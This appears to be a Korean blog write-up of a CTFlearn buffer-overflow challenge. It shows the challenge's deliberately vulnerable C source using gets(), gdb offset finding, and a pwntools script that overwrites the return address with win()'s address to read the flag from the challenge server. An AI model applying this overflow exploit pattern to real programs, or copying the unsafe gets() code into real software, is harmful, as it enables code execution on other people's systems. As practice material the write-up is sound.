CTFlearn -rip my bof- (RTL 공격기법)

2023. 2. 24. 00:18Pwnable/CTF-LEARN

문제의 소스코드는 다음과 같다.

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

// Defined in a separate source file for simplicity.
void init_visualize(char* buff);
void visualize(char* buff);

void win() {
  system("/bin/cat /flag.txt");
}

void vuln() {
  char padding[16];
  char buff[32];

  memset(buff, 0, sizeof(buff)); // Zero-out the buffer.
  memset(padding, 0xFF, sizeof(padding)); // Mark the padding with 0xff.

  // Initializes the stack visualization. Don't worry about it!
  init_visualize(buff);

  // Prints out the stack before modification
  visualize(buff);

  printf("Input some text: ");
  gets(buff); // This is a vulnerable call!

  // Prints out the stack after modification
  visualize(buff);
}

int main() {
  setbuf(stdout, NULL);
  setbuf(stdin, NULL);
  vuln();
}

 

 

문제를 실행시키면 다음과 같은 결과 값이 나온다.

 

입력을 하나만 받아내기 때문에 이런경우 gdb로 패턴을 생성하여 간단히 offset을 구할 수 있다.

 

 

간단하게 거리를 구할 수 있다.

 

거리는 ret 까지 거리는 64다.

 

이후 보호기법을 확인해보면 다음과 같이 보호기법이 걸려 있다.

 

 

NX 보호기법을 가지고 있으므로 쉘코드로 ret 값을 덮어서 실행시킬 수 없다.

 

이런 경우 활용할 수 있는 공격기법은 RTL 있다. Return To Lic 말이다.!

 

소스코들 보면 대놓고 win 함수를 통해 flag을 획들 할 수 있다.

 

즉 dummy값 + win함수의 시작주소 로 페이로드를 작성하여 실행한다면 플래그를 찾을 수 있을 것이다.

 

win 함수의 시작주소는 다음과 같이 gdb를 통해 알아낼 수 있다.

 

 

매우 간단하게 디스어셈블리를 하여서 0x08048586 임을 확인할 수 있다.

 

그렇게 dummy 값 [60] + win 값을 넣으면

 

call win시작주소가 작동되어 플래그를 획득할 수 있을 것이다.

 

그렇게 작성한 페이로드는 다음과 같다.

 

  GNU nano 2.9.3                             ex.py

from pwn import *


p = remote('thekidofarcrania.com', 4902)


payload = b'A' * 60

flag = 0x08048586 ##win 시작 주소
payload += p32(flag) ##리틀엔디안 방식으로 데이터 삼입 


p.sendline(payload) #페이로드 전송

data = p.recvrepeat(100000) #데이터 받기

print (data) #받은 데이터 출력

 

그렇게 익스플로잇을 한다면 !!

플래그를 획득할 수 있다 !

 

야호 ! 오늘도 성공이다.

 

드림핵, 프로토스타, pwnable.kr 등에서 익힌 방법들을 활용하여 풀 수 있었다.

 

지금까지 내가 풀어왔던 문제들이 너무 어려워서 풀이의 도움을 많이 받아야 했지만

 

완벽히 이해가 될때까지 풀고 또 풀고 다양한 문제들을 찾아 나서다 보니 이런 쉬운 문제정도는 스스로의 힘으로 풀 수 있게 되었다.

 

앞으로 이런 쉬운 문제씩 조금씩 앞서 나간다면 보다 성장한 나를 돌아볼 수 있지 않을까? 기대하게 된다.

 

오늘 시스템 해킹이 너무 잘되서 기분이 좋다 !!

 

'Pwnable > CTF-LEARN' 카테고리의 다른 글

CTF-LEARN - Simple bof -  (0) 2023.02.23